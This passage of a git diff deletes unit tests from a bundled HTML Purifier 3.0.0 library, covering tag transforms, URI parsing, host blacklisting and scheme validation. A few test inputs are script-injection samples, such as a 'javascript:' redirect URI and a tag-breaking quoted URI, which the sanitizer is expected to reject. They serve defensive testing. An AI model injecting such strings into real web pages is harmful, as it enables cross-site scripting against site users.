style="list-style-type:lower-alpha;" />' - ); - } - - function testOlConvertTypeUpperA() { - $this->assertResult( - '<ol type="A" />', - '<ol style="list-style-type:upper-alpha;" />' - ); - } - - function testOlRemoveInvalidType() { - $this->assertResult( - '<ol type="disc" />', - '<ol />' - ); - } - - function testLiConvertTypeCircle() { - $this->assertResult( - '<li type="circle" />', - '<li style="list-style-type:circle;" />' - ); - } - - function testLiConvertTypeA() { - $this->assertResult( - '<li type="A" />', - '<li style="list-style-type:upper-alpha;" />' - ); - } - - function testLiConvertTypeCaseSensitive() { - $this->assertResult( - '<li type="CIRCLE" />', - '<li />' - ); - } - - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/StrategyHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/StrategyHarness.php deleted file mode 100644 index fe20b64..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/StrategyHarness.php +++ /dev/null @@ -1,16 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ComplexHarness.php'; - -class HTMLPurifier_StrategyHarness extends HTMLPurifier_ComplexHarness -{ - - function setUp() { - parent::setUp(); - $this->func = 'execute'; - $this->to_tokens = true; - $this->to_html = true; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TagTransformTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TagTransformTest.php deleted file mode 100644 index 92b28fb..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TagTransformTest.php +++ /dev/null @@ -1,179 +0,0 @@ -<?php - -require_once 'HTMLPurifier/TagTransform.php'; - -// needs to be seperated into files -require_once 'HTMLPurifier/TagTransform/Font.php'; -require_once 'HTMLPurifier/TagTransform/Simple.php'; - -class HTMLPurifier_TagTransformTest extends HTMLPurifier_Harness -{ - - /** - * Asserts that a transformation happens - * - * This assertion performs several tests on the transform: - * - * -# Transforms a start tag with only $name and no attributes - * -# Transforms a start tag with $name and $attributes - * -# Transform an end tag - * -# Transform an empty tag with only $name and no attributes - * -# Transform an empty tag with $name and $attributes - * - * In its current form, it assumes that start and empty tags would be - * treated the same, and is really ensuring that the tag transform doesn't - * do anything wonky to the tag type. - * - * @param $transformer HTMLPurifier_TagTransform class to test - * @param $name Name of the original tag - * @param $attributes Attributes of the original tag - * @param $expect_name Name of output tag - * @param $expect_attributes Attributes of output tag when $attributes - * is included. - * @param $expect_added_attributes Attributes of output tag when $attributes - * are omitted. - * @param $config_array Configuration array for HTMLPurifier_Config - * @param $context_array Context array for HTMLPurifier_Context - */ - function assertTransformation($transformer, - $name, $attributes, - $expect_name, $expect_attributes, - $expect_added_attributes = array(), - $config_array = array(), $context_array = array()) { - - $config = HTMLPurifier_Config::createDefault(); - $config->loadArray($config_array); - - $context = new HTMLPurifier_Context(); - $context->loadArray($context_array); - - // start tag transform - $this->assertIdentical( - new HTMLPurifier_Token_Start($expect_name, $expect_added_attributes), - $transformer->transform( - new HTMLPurifier_Token_Start($name), $config, $context) - ); - - // start tag transform with attributes - $this->assertIdentical( - new HTMLPurifier_Token_Start($expect_name, $expect_attributes), - $transformer->transform( - new HTMLPurifier_Token_Start($name, $attributes), - $config, $context - ) - ); - - // end tag transform - $this->assertIdentical( - new HTMLPurifier_Token_End($expect_name), - $transformer->transform( - new HTMLPurifier_Token_End($name), $config, $context - ) - ); - - // empty tag transform - $this->assertIdentical( - new HTMLPurifier_Token_Empty($expect_name, $expect_added_attributes), - $transformer->transform( - new HTMLPurifier_Token_Empty($name), $config, $context - ) - ); - - // empty tag transform with attributes - $this->assertIdentical( - new HTMLPurifier_Token_Empty($expect_name, $expect_attributes), - $transformer->transform( - new HTMLPurifier_Token_Empty($name, $attributes), - $config, $context - ) - ); - - - } - - function testSimple() { - - $transformer = new HTMLPurifier_TagTransform_Simple('ul'); - - $this->assertTransformation( - $transformer, - 'menu', array('class' => 'boom'), - 'ul', array('class' => 'boom') - ); - - } - - function testSimpleWithCSS() { - - $transformer = new HTMLPurifier_TagTransform_Simple('div', 'text-align:center;'); - - $this->assertTransformation( - $transformer, - 'center', array('class' => 'boom', 'style'=>'font-weight:bold;'), - 'div', array('class' => 'boom', 'style'=>'text-align:center;font-weight:bold;'), - array('style'=>'text-align:center;') - ); - - // test special case, uppercase attribute key - $this->assertTransformation( - $transformer, - 'center', array('STYLE'=>'font-weight:bold;'), - 'div', array('style'=>'text-align:center;font-weight:bold;'), - array('style'=>'text-align:center;') - ); - - } - - function assertSizeToStyle($transformer, $size, $style) { - $this->assertTransformation( - $transformer, - 'font', array('size' => $size), - 'span', array('style' => 'font-size:' . $style . ';') - ); - } - - function testFont() { - - $transformer = new HTMLPurifier_TagTransform_Font(); - - // test a font-face transformation - $this->assertTransformation( - $transformer, - 'font', array('face' => 'Arial'), - 'span', array('style' => 'font-family:Arial;') - ); - - // test a color transformation - $this->assertTransformation( - $transformer, - 'font', array('color' => 'red'), - 'span', array('style' => 'color:red;') - ); - - // test the size transforms - $this->assertSizeToStyle($transformer, '0', 'xx-small'); - $this->assertSizeToStyle($transformer, '1', 'xx-small'); - $this->assertSizeToStyle($transformer, '2', 'small'); - $this->assertSizeToStyle($transformer, '3', 'medium'); - $this->assertSizeToStyle($transformer, '4', 'large'); - $this->assertSizeToStyle($transformer, '5', 'x-large'); - $this->assertSizeToStyle($transformer, '6', 'xx-large'); - $this->assertSizeToStyle($transformer, '7', '300%'); - $this->assertSizeToStyle($transformer, '-1', 'smaller'); - $this->assertSizeToStyle($transformer, '-2', '60%'); - $this->assertSizeToStyle($transformer, '-3', '60%'); - $this->assertSizeToStyle($transformer, '+1', 'larger'); - $this->assertSizeToStyle($transformer, '+2', '150%'); - $this->assertSizeToStyle($transformer, '+3', '200%'); - $this->assertSizeToStyle($transformer, '+4', '300%'); - $this->assertSizeToStyle($transformer, '+5', '300%'); - - // test multiple transforms, the alphabetical ordering is important - $this->assertTransformation( - $transformer, - 'font', array('color' => 'red', 'face' => 'Arial', 'size' => '6'), - 'span', array('style' => 'color:red;font-family:Arial;font-size:xx-large;') - ); - } -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TokenFactoryTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TokenFactoryTest.php deleted file mode 100644 index 54be530..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TokenFactoryTest.php +++ /dev/null @@ -1,18 +0,0 @@ -<?php - -require_once 'HTMLPurifier/TokenFactory.php'; - -class HTMLPurifier_TokenFactoryTest extends HTMLPurifier_Harness -{ - public function test() { - - $factory = new HTMLPurifier_TokenFactory(); - - $regular = new HTMLPurifier_Token_Start('a', array('href' => 'about:blank')); - $generated = $factory->createStart('a', array('href' => 'about:blank')); - - $this->assertIdentical($regular, $generated); - - } -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TokenTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TokenTest.php deleted file mode 100644 index 2f440ff..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/TokenTest.php +++ /dev/null @@ -1,35 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Token.php'; - -class HTMLPurifier_TokenTest extends HTMLPurifier_Harness -{ - - function assertTokenConstruction($name, $attr, - $expect_name = null, $expect_attr = null - ) { - if ($expect_name === null) $expect_name = $name; - if ($expect_attr === null) $expect_attr = $attr; - $token = new HTMLPurifier_Token_Start($name, $attr); - - $this->assertIdentical($expect_name, $token->name); - $this->assertIdentical($expect_attr, $token->attr); - } - - function testConstruct() { - - // standard case - $this->assertTokenConstruction('a', array('href' => 'about:blank')); - - // lowercase the tag's name - $this->assertTokenConstruction('A', array('href' => 'about:blank'), - 'a'); - - // lowercase attributes - $this->assertTokenConstruction('a', array('HREF' => 'about:blank'), - 'a', array('href' => 'about:blank')); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIDefinitionTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIDefinitionTest.php deleted file mode 100644 index bea361c..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIDefinitionTest.php +++ /dev/null @@ -1,61 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIHarness.php'; -require_once 'HTMLPurifier/URIDefinition.php'; - -class HTMLPurifier_URIDefinitionTest extends HTMLPurifier_URIHarness -{ - - function createFilterMock($expect = true, $result = true) { - static $i = 0; - generate_mock_once('HTMLPurifier_URIFilter'); - $mock = new HTMLPurifier_URIFilterMock(); - if ($expect) $mock->expectOnce('filter'); - else $mock->expectNever('filter'); - $mock->setReturnValue('filter', $result); - $mock->name = $i++; - return $mock; - } - - function test_filter() { - $def = new HTMLPurifier_URIDefinition(); - $def->addFilter($this->createFilterMock(), $this->config); - $def->addFilter($this->createFilterMock(), $this->config); - $uri = $this->createURI('test'); - $this->assertTrue($def->filter($uri, $this->config, $this->context)); - } - - function test_filter_earlyAbortIfFail() { - $def = new HTMLPurifier_URIDefinition(); - $def->addFilter($this->createFilterMock(true, false), $this->config); - $def->addFilter($this->createFilterMock(false), $this->config); // never called - $uri = $this->createURI('test'); - $this->assertFalse($def->filter($uri, $this->config, $this->context)); - } - - function test_setupMemberVariables_collisionPrecedenceIsHostBaseScheme() { - $this->config->set('URI', 'Host', $host = 'example.com'); - $this->config->set('URI', 'Base', $base = 'http://sub.example.com/foo/bar.html'); - $this->config->set('URI', 'DefaultScheme', 'ftp'); - $def = new HTMLPurifier_URIDefinition(); - $def->setup($this->config); - $this->assertIdentical($def->host, $host); - $this->assertIdentical($def->base, $this->createURI($base)); - $this->assertIdentical($def->defaultScheme, 'http'); // not ftp! - } - - function test_setupMemberVariables_onlyScheme() { - $this->config->set('URI', 'DefaultScheme', 'ftp'); - $def = new HTMLPurifier_URIDefinition(); - $def->setup($this->config); - $this->assertIdentical($def->defaultScheme, 'ftp'); - } - - function test_setupMemberVariables_onlyBase() { - $this->config->set('URI', 'Base', 'http://sub.example.com/foo/bar.html'); - $def = new HTMLPurifier_URIDefinition(); - $def->setup($this->config); - $this->assertIdentical($def->host, 'sub.example.com'); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php deleted file mode 100644 index 545e421..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php +++ /dev/null @@ -1,24 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIFilter/DisableExternalTest.php'; -require_once 'HTMLPurifier/URIFilter/DisableExternalResources.php'; - -class HTMLPurifier_URIFilter_DisableExternalResourcesTest extends - HTMLPurifier_URIFilter_DisableExternalTest -{ - - function setUp() { - parent::setUp(); - $this->filter = new HTMLPurifier_URIFilter_DisableExternalResources(); - $var = true; - $this->context->register('EmbeddedURI', $var); - } - - function testPreserveWhenNotEmbedded() { - $this->context->destroy('EmbeddedURI'); // undo setUp - $this->assertFiltering( - 'http://example.com' - ); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/DisableExternalTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/DisableExternalTest.php deleted file mode 100644 index e4a0e89..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/DisableExternalTest.php +++ /dev/null @@ -1,47 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIFilter/DisableExternal.php'; -require_once 'HTMLPurifier/URIFilterHarness.php'; - -class HTMLPurifier_URIFilter_DisableExternalTest extends HTMLPurifier_URIFilterHarness -{ - - function setUp() { - parent::setUp(); - $this->filter = new HTMLPurifier_URIFilter_DisableExternal(); - } - - function testRemoveExternal() { - $this->assertFiltering( - 'http://example.com', false - ); - } - - function testPreserveInternal() { - $this->assertFiltering( - '/foo/bar' - ); - } - - function testPreserveOurHost() { - $this->config->set('URI', 'Host', 'example.com'); - $this->assertFiltering( - 'http://example.com' - ); - } - - function testPreserveOurSubdomain() { - $this->config->set('URI', 'Host', 'example.com'); - $this->assertFiltering( - 'http://www.example.com' - ); - } - - function testRemoveSuperdomain() { - $this->config->set('URI', 'Host', 'www.example.com'); - $this->assertFiltering( - 'http://example.com', false - ); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php deleted file mode 100644 index d9a3fdd..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIFilter/HostBlacklist.php'; -require_once 'HTMLPurifier/URIFilterHarness.php'; - -class HTMLPurifier_URIFilter_HostBlacklistTest extends HTMLPurifier_URIFilterHarness -{ - - function setUp() { - parent::setUp(); - $this->filter = new HTMLPurifier_URIFilter_HostBlacklist(); - } - - function testRejectBlacklistedHost() { - $this->config->set('URI', 'HostBlacklist', 'example.com'); - $this->assertFiltering('http://example.com', false); - } - - function testRejectBlacklistedHostThoughNotTrue() { - // maybe this behavior should change - $this->config->set('URI', 'HostBlacklist', 'example.com'); - $this->assertFiltering('http://example.comcast.com', false); - } - - function testPreserveNonBlacklistedHost() { - $this->config->set('URI', 'HostBlacklist', 'example.com'); - $this->assertFiltering('http://google.com'); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php deleted file mode 100644 index 51f4735..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php +++ /dev/null @@ -1,128 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIFilter/MakeAbsolute.php'; -require_once 'HTMLPurifier/URIFilterHarness.php'; - -class HTMLPurifier_URIFilter_MakeAbsoluteTest extends HTMLPurifier_URIFilterHarness -{ - - function setUp() { - parent::setUp(); - $this->filter = new HTMLPurifier_URIFilter_MakeAbsolute(); - $this->setBase(); - } - - function setBase($base = 'http://example.com/foo/bar.html?q=s#frag') { - $this->config->set('URI', 'Base', $base); - } - - // corresponding to RFC 2396 - - function testPreserveAbsolute() { - $this->assertFiltering('http://example.com/foo.html'); - } - - function testFilterBlank() { - $this->assertFiltering('', 'http://example.com/foo/bar.html?q=s'); - } - - function testFilterEmptyPath() { - $this->assertFiltering('?q=s#frag', 'http://example.com/foo/bar.html?q=s#frag'); - } - - function testPreserveAltScheme() { - $this->assertFiltering('mailto:bob@example.com'); - } - - function testFilterIgnoreHTTPSpecialCase() { - $this->assertFiltering('http:/', 'http://example.com/'); - } - - function testFilterAbsolutePath() { - $this->assertFiltering('/foo.txt', 'http://example.com/foo.txt'); - } - - function testFilterRelativePath() { - $this->assertFiltering('baz.txt', 'http://example.com/foo/baz.txt'); - } - - function testFilterRelativePathWithInternalDot() { - $this->assertFiltering('./baz.txt', 'http://example.com/foo/baz.txt'); - } - - function testFilterRelativePathWithEndingDot() { - $this->assertFiltering('baz/.', 'http://example.com/foo/baz/'); - } - - function testFilterRelativePathDot() { - $this->assertFiltering('.', 'http://example.com/foo/'); - } - - function testFilterRelativePathWithInternalDotDot() { - $this->assertFiltering('../baz.txt', 'http://example.com/baz.txt'); - } - - function testFilterRelativePathWithEndingDotDot() { - $this->assertFiltering('..', 'http://example.com/'); - } - - function testFilterRelativePathTooManyDotDots() { - $this->assertFiltering('../../', 'http://example.com/'); - } - - function testFilterAppendingQueryAndFragment() { - $this->assertFiltering('/foo.php?q=s#frag', 'http://example.com/foo.php?q=s#frag'); - } - - // edge cases below - - function testFilterAbsolutePathBase() { - $this->setBase('/foo/baz.txt'); - $this->assertFiltering('test.php', '/foo/test.php'); - } - - function testFilterAbsolutePathBaseDirectory() { - $this->setBase('/foo/'); - $this->assertFiltering('test.php', '/foo/test.php'); - } - - function testFilterAbsolutePathBaseBelow() { - $this->setBase('/foo/baz.txt'); - $this->assertFiltering('../../test.php', '/test.php'); - } - - function testFilterRelativePathBase() { - $this->setBase('foo/baz.html'); - $this->assertFiltering('foo.php', 'foo/foo.php'); - } - - function testFilterRelativePathBaseBelow() { - $this->setBase('../baz.html'); - $this->assertFiltering('test/strike.html', '../test/strike.html'); - } - - function testFilterRelativePathBaseWithAbsoluteURI() { - $this->setBase('../baz.html'); - $this->assertFiltering('/test/strike.html'); - } - - function testFilterRelativePathBaseWithDot() { - $this->setBase('../baz.html'); - $this->assertFiltering('.', '../'); - } - - function testRemoveJavaScriptWithEmbeddedLink() { - // credits: NykO18 - $this->setBase('http://www.example.com/'); - $this->assertFiltering('javascript: window.location = \'http://www.example.com\';', false); - } - - // error case - - function testErrorNoBase() { - $this->setBase(null); - $this->expectError('URI.MakeAbsolute is being ignored due to lack of value for URI.Base configuration'); - $this->assertFiltering('foo/bar.txt'); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilterHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilterHarness.php deleted file mode 100644 index 04e101f..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIFilterHarness.php +++ /dev/null @@ -1,15 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIHarness.php'; - -class HTMLPurifier_URIFilterHarness extends HTMLPurifier_URIHarness -{ - - function assertFiltering($uri, $expect_uri = true) { - $this->prepareURI($uri, $expect_uri); - $this->filter->prepare($this->config, $this->context); - $result = $this->filter->filter($uri, $this->config, $this->context); - $this->assertEitherFailOrIdentical($result, $uri, $expect_uri); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIHarness.php deleted file mode 100644 index 63e6d7d..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIHarness.php +++ /dev/null @@ -1,31 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIParser.php'; - -class HTMLPurifier_URIHarness extends HTMLPurifier_Harness -{ - - /** - * Prepares two URIs into object form - * @param &$uri Reference to string input URI - * @param &$expect_uri Reference to string expectation URI - * @note If $expect_uri is false, it will stay false - */ - function prepareURI(&$uri, &$expect_uri) { - $parser = new HTMLPurifier_URIParser(); - if ($expect_uri === true) $expect_uri = $uri; - $uri = $parser->parse($uri); - if ($expect_uri !== false) { - $expect_uri = $parser->parse($expect_uri); - } - } - - /** - * Generates a URI object from the corresponding string - */ - function createURI($uri) { - $parser = new HTMLPurifier_URIParser(); - return $parser->parse($uri); - } - -} diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIParserTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIParserTest.php deleted file mode 100644 index 370e90c..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URIParserTest.php +++ /dev/null @@ -1,140 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URIParser.php'; -require_once 'HTMLPurifier/URI.php'; - -class HTMLPurifier_URIParserTest extends HTMLPurifier_Harness -{ - - function assertParsing( - $uri, $scheme, $userinfo, $host, $port, $path, $query, $fragment, $config = null, $context = null - ) { - $this->prepareCommon($config, $context); - $parser = new HTMLPurifier_URIParser(); - $result = $parser->parse($uri, $config, $context); - $expect = new HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment); - $this->assertEqual($result, $expect); - } - - function testRegular() { - $this->assertParsing( - 'http://www.example.com/webhp?q=foo#result2', - 'http', null, 'www.example.com', null, '/webhp', 'q=foo', 'result2' - ); - } - - function testPortAndUsername() { - $this->assertParsing( - 'http://user@authority.part:80/now/the/path?query#fragment', - 'http', 'user', 'authority.part', 80, '/now/the/path', 'query', 'fragment' - ); - } - - function testPercentEncoding() { - $this->assertParsing( - 'http://en.wikipedia.org/wiki/Clich%C3%A9', - 'http', null, 'en.wikipedia.org', null, '/wiki/Clich%C3%A9', null, null - ); - } - - function testEmptyQuery() { - $this->assertParsing( - 'http://www.example.com/?#', - 'http', null, 'www.example.com', null, '/', '', null - ); - } - - function testEmptyPath() { - $this->assertParsing( - 'http://www.example.com', - 'http', null, 'www.example.com', null, '', null, null - ); - } - - function testOpaqueURI() { - $this->assertParsing( - 'mailto:bob@example.com', - 'mailto', null, null, null, 'bob@example.com', null, null - ); - } - - function testIPv4Address() { - $this->assertParsing( - 'http://192.0.34.166/', - 'http', null, '192.0.34.166', null, '/', null, null - ); - } - - function testFakeIPv4Address() { - $this->assertParsing( - 'http://333.123.32.123/', - 'http', null, '333.123.32.123', null, '/', null, null - ); - } - - function testIPv6Address() { - $this->assertParsing( - 'http://[2001:db8::7]/c=GB?objectClass?one', - 'http', null, '[2001:db8::7]', null, '/c=GB', 'objectClass?one', null - ); - } - - function testInternationalizedDomainName() { - $this->assertParsing( - "http://t\xC5\xABdali\xC5\x86.lv", - 'http', null, "t\xC5\xABdali\xC5\x86.lv", null, '', null, null - ); - } - - function testInvalidPort() { - $this->assertParsing( - 'http://example.com:foobar', - 'http', null, 'example.com', null, '', null, null - ); - } - - function testPathAbsolute() { - $this->assertParsing( - 'http:/this/is/path', - 'http', null, null, null, '/this/is/path', null, null - ); - } - - function testPathRootless() { - // this should not be used but is allowed - $this->assertParsing( - 'http:this/is/path', - 'http', null, null, null, 'this/is/path', null, null - ); - } - - function testPathEmpty() { - $this->assertParsing( - 'http:', - 'http', null, null, null, '', null, null - ); - } - - function testRelativeURI() { - $this->assertParsing( - '/a/b', - null, null, null, null, '/a/b', null, null - ); - } - - function testMalformedTag() { - $this->assertParsing( - 'http://www.example.com/\'>"', - 'http', null, 'www.example.com', null, '/', null, null - ); - } - - function testEmpty() { - $this->assertParsing( - '', - null, null, null, null, '', null, null - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URISchemeRegistryTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URISchemeRegistryTest.php deleted file mode 100644 index 497d0f6..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URISchemeRegistryTest.php +++ /dev/null @@ -1,50 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URISchemeRegistry.php'; - -class HTMLPurifier_URISchemeRegistryTest extends HTMLPurifier_Harness -{ - - function test() { - - generate_mock_once('HTMLPurifier_URIScheme'); - - $config = HTMLPurifier_Config::create(array( - 'URI.AllowedSchemes' => 'http, telnet', - 'URI.OverrideAllowedSchemes' => true - )); - $context = new HTMLPurifier_Context(); - - $registry = new HTMLPurifier_URISchemeRegistry(); - $this->assertIsA($registry->getScheme('http', $config, $context), 'HTMLPurifier_URIScheme_http'); - - $scheme_http = new HTMLPurifier_URISchemeMock(); - $scheme_telnet = new HTMLPurifier_URISchemeMock(); - $scheme_foobar = new HTMLPurifier_URISchemeMock(); - - // register a new scheme - $registry->register('telnet', $scheme_telnet); - $this->assertIdentical($registry->getScheme('telnet', $config, $context), $scheme_telnet); - - // overload a scheme, this is FINAL (forget about defaults) - $registry->register('http', $scheme_http); - $this->assertIdentical($registry->getScheme('http', $config, $context), $scheme_http); - - // when we register a scheme, it's automatically allowed - $registry->register('foobar', $scheme_foobar); - $this->assertIdentical($registry->getScheme('foobar', $config, $context), $scheme_foobar); - - // now, test when overriding is not allowed - $config = HTMLPurifier_Config::create(array( - 'URI.AllowedSchemes' => 'http, telnet', - 'URI.OverrideAllowedSchemes' => false - )); - $this->assertNull($registry->getScheme('foobar', $config, $context)); - - // scheme not allowed and never registered - $this->assertNull($registry->getScheme('ftp', $config, $context)); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URISchemeTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URISchemeTest.php deleted file mode 100644 index 5b1f99a..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URISchemeTest.php +++ /dev/null @@ -1,149 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URI.php'; -require_once 'HTMLPurifier/URIHarness.php'; - -require_once 'HTMLPurifier/URIScheme.php'; -require_once 'HTMLPurifier/URISchemeRegistry.php'; - -require_once 'HTMLPurifier/URIScheme/http.php'; -require_once 'HTMLPurifier/URIScheme/ftp.php'; -require_once 'HTMLPurifier/URIScheme/https.php'; -require_once 'HTMLPurifier/URIScheme/mailto.php'; -require_once 'HTMLPurifier/URIScheme/news.php'; -require_once 'HTMLPurifier/URIScheme/nntp.php'; - -// WARNING: All the URI schemes are far to relaxed, we need to tighten -// the checks. - -class HTMLPurifier_URISchemeTest extends HTMLPurifier_URIHarness -{ - - function assertValidation($uri, $expect_uri = true) { - $this->prepareURI($uri, $expect_uri); - // convenience hack: the scheme should be explicitly specified - $scheme = $uri->getSchemeObj($this->config, $this->context); - $result = $scheme->validate($uri, $this->config, $this->context); - $this->assertEitherFailOrIdentical($result, $uri, $expect_uri); - } - - function test_http_regular() { - $this->assertValidation( - 'http://example.com/?s=q#fragment' - ); - } - - function test_http_removeDefaultPort() { - $this->assertValidation( - 'http://example.com:80', - 'http://example.com' - ); - } - - function test_http_removeUserInfo() { - $this->assertValidation( - 'http://bob@example.com', - 'http://example.com' - ); - } - - function test_http_preserveNonDefaultPort() { - $this->assertValidation( - 'http://example.com:8080' - ); - } - - function test_https_regular() { - $this->assertValidation( - 'https://user@example.com:443/?s=q#frag', - 'https://example.com/?s=q#frag' - ); - } - - function test_ftp_regular() { - $this->assertValidation( - 'ftp://user@example.com/path' - ); - } - - function test_ftp_removeDefaultPort() { - $this->assertValidation( - 'ftp://example.com:21', - 'ftp://example.com' - ); - } - - function test_ftp_removeQueryString() { - $this->assertValidation( - 'ftp://example.com?s=q', - 'ftp://example.com' - ); - } - - function test_ftp_preserveValidTypecode() { - $this->assertValidation( - 'ftp://example.com/file.txt;type=a' - ); - } - - function test_ftp_removeInvalidTypecode() { - $this->assertValidation( - 'ftp://example.com/file.txt;type=z', - 'ftp://example.com/file.txt' - ); - } - - function test_ftp_encodeExtraSemicolons() { - $this->assertValidation( - 'ftp://example.com/too;many;semicolons=1', - 'ftp://example.com/too%3Bmany%3Bsemicolons=1' - ); - } - - function test_news_regular() { - $this->assertValidation( - 'news:gmane.science.linguistics' - ); - } - - function test_news_explicit() { - $this->assertValidation( - 'news:642@eagle.ATT.COM' - ); - } - - function test_news_removeNonPathComponents() { - $this->assertValidation( - 'news://user@example.com:80/rec.music?path=foo#frag', - 'news:/rec.music#frag' - ); - } - - function test_nntp_regular() { - $this->assertValidation( - 'nntp://news.example.com/alt.misc/42#frag' - ); - } - - function test_nntp_removalOfRedundantOrUselessComponents() { - $this->assertValidation( - 'nntp://user@news.example.com:119/alt.misc/42?s=q#frag', - 'nntp://news.example.com/alt.misc/42#frag' - ); - } - - function test_mailto_regular() { - $this->assertValidation( - 'mailto:bob@example.com' - ); - } - - function test_mailto_removalOfRedundantOrUselessComponents() { - $this->assertValidation( - 'mailto://user@example.com:80/bob@example.com?subject=Foo#frag', - 'mailto:/bob@example.com?subject=Foo#frag' - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URITest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URITest.php deleted file mode 100644 index c15fbed..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/URITest.php +++ /dev/null @@ -1,166 +0,0 @@ -<?php - -require_once 'HTMLPurifier/URI.php'; -require_once 'HTMLPurifier/URIParser.php'; - -class HTMLPurifier_URITest extends HTMLPurifier_URIHarness -{ - - function createURI($uri) { - $parser = new HTMLPurifier_URIParser(); - return $parser->parse($uri); - } - - function test_construct() { - $uri1 = new HTMLPurifier_URI('HTTP', 'bob', 'example.com', '23', '/foo', 'bar=2', 'slash'); - $uri2 = new HTMLPurifier_URI('http', 'bob', 'example.com', 23, '/foo', 'bar=2', 'slash'); - $this->assertIdentical($uri1, $uri2); - } - - protected $oldRegistry; - - function &setUpSchemeRegistryMock() { - $this->oldRegistry = HTMLPurifier_URISchemeRegistry::instance(); - generate_mock_once('HTMLPurifier_URIScheme'); - generate_mock_once('HTMLPurifier_URISchemeRegistry'); - $registry = HTMLPurifier_URISchemeRegistry::instance( - new HTMLPurifier_URISchemeRegistryMock() - ); - return $registry; - } - - function setUpSchemeMock($name) { - $registry = $this->setUpSchemeRegistryMock(); - $scheme_mock = new HTMLPurifier_URISchemeMock(); - $registry->setReturnValue('getScheme', $scheme_mock, array($name, '*', '*')); - return $scheme_mock; - } - - function setUpNoValidSchemes() { - $registry = $this->setUpSchemeRegistryMock(); - $registry->setReturnValue('getScheme', false, array('*', '*', '*')); - } - - function tearDownSchemeRegistryMock() { - HTMLPurifier_URISchemeRegistry::instance($this->oldRegistry); - } - - function test_getSchemeObj() { - $scheme_mock = $this->setUpSchemeMock('http'); - - $uri = $this->createURI('http:'); - $scheme_obj = $uri->getSchemeObj($this->config, $this->context); - $this->assertIdentical($scheme_obj, $scheme_mock); - - $this->tearDownSchemeRegistryMock(); - } - - function test_getSchemeObj_invalidScheme() { - $this->setUpNoValidSchemes(); - - $uri = $this->createURI('http:'); - $result = $uri->getSchemeObj($this->config, $this->context); - $this->assertIdentical($result, false); - - $this->tearDownSchemeRegistryMock(); - } - - function test_getSchemaObj_defaultScheme() { - $scheme = 'foobar'; - - $scheme_mock = $this->setUpSchemeMock($scheme); - $this->config->set('URI', 'DefaultScheme', $scheme); - - $uri = $this->createURI('hmm'); - $scheme_obj = 